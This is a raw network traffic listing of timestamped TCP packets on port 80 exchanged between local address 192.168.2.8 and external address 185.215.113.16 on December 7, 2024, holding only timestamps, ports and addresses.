Dec 7, 2024 15:07:02.326920033 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.326997995 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.327946901 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.327964067 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.328002930 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.328057051 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.453682899 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.453774929 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.453917980 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.453942060 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.454085112 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.454127073 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.454353094 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.454400063 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.454427958 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.454467058 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.455322981 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.455368996 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.455508947 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.455554008 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.456262112 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.456306934 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.479724884 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.479737997 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.479811907 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.479918003 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.479938030 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.479938030 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.479969025 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.480781078 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.480828047 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.480880976 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.480920076 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.481792927 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.481837988 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.481904984 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.481951952 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.482795000 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.482841969 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.482980967 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.483025074 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.483844995 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.483896971 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.483938932 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.483977079 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.484848022 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.484891891 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.484960079 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.485003948 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.485826015 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.485873938 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.485960960 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.486001015 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.486803055 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.486844063 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.486928940 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.486970901 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.487848043 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.487893105 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.487941980 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.487978935 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.488820076 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.488863945 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.488915920 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.488955975 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.489964962 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.489989996 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.490006924 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.490029097 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.490823030 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.490868092 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.490928888 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.490962982 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.491852045 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.491906881 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.492039919 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.492084980 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.492842913 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.492888927 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.492944956 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.492983103 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.493840933 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.493889093 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.493964911 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.494004011 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.494852066 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.494900942 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.494941950 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.494986057 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.495887995 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.495933056 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.496002913 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.496042967 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.496890068 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.496934891 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.496963978 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.497051954 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.497900963 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.497945070 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.497945070 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.497982025 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.498939991 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.499150038 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.499273062 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.500063896 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.500124931 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.500174999 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.500895023 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.500951052 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.500993013 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.501039982 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.501893997 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.501981020 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.501988888 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.502021074 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.502954006 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.503001928 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.503127098 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.503168106 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.503921986 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.503968954 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.504024982 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.504060984 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.504908085 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.504967928 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.505022049 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.505059004 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.505951881 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.506004095 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.506052017 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.506086111 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.506941080 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.506983042 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.507141113 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.507201910 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.508038044 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.508188963 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.508229017 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.509630919 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.509675980 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.509820938 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.509859085 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.511063099 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.511104107 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.511164904 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.511198997 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.512567043 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.512656927 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.512698889 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.514142990 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.514240980 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.514338970 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.514446974 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.515225887 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.515320063 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.515372038 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.515866041 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.515943050 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.515996933 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.517752886 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.517798901 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.517800093 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.517812014 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.517832041 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.517849922 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.517894983 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.518224955 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.518556118 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.518604040 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.518711090 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.518775940 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.519473076 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.519521952 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.519521952 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.519555092 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.520150900 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.520194054 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.520198107 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.520235062 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.520905972 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.520970106 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.520979881 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.521011114 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.521543980 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.521692038 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.521733046 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.522283077 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.522320986 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.522366047 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.522397041 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.523080111 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.523123980 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.523154974 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.523190975 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.524045944 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.524153948 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.524194002 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.525023937 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.525069952 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.525147915 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.525185108 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.526036978 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.526109934 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.526135921 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.526170969 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.527076006 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.527126074 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.527240038 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.527276993 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.528121948 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.528230906 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.528270006 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.529048920 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.529098988 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.645849943 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.645941019 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.645942926 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.645983934 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.646579027 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.646626949 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.646689892 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.646732092 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.647625923 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.647663116 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.647670031 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.647699118 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.648348093 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.648392916 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.671745062 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.671763897 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.671911001 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.671951056 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.672048092 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.672077894 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.672101974 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.672936916 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.672993898 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.673053026 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.673104048 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.673909903 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.673970938 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.674139023 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.674185038 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.674922943 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.674972057 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.675030947 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.675086021 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.675926924 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.676002026 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.676038027 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.676076889 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.677094936 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.677109003 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.677138090 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.677155972 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.677931070 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.677978039 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.678141117 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.678184986 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.678914070 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.678956985 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.679052114 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.679092884 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.679932117 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.679976940 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.680057049 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.680094004 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.681066036 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.681113005 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.681119919 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.681158066 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.681957960 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.682004929 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.682034969 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.682069063 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.683024883 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.683068037 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.683068991 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.683104038 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.684102058 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.684115887 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.684149027 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.684972048 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.685020924 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.685156107 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.685199976 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.686029911 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.686100006 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.686114073 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.686157942 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.687067032 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.687079906 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.687115908 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.688163042 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.688177109 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.688210964 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.689027071 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.689074039 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.689177990 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.689223051 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.690084934 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.690098047 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.690134048 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.691101074 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.691113949 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.691144943 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.691169977 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.692019939 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.692070007 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.692130089 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.692172050 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.693043947 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.693103075 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.693375111 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.693422079 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.694022894 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.694067955 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.694120884 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.694168091 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.695034981 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.695081949 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.695130110 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.695172071 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.696290016 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.696301937 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.696335077 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.696352959 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.697069883 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.697113991 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.697169065 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.697205067 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.698036909 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.698082924 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.698237896 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.698280096 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.699058056 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.699104071 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.699183941 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.699229002 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.700122118 CET	80	49740	185.215.113.16	192.168.2.8
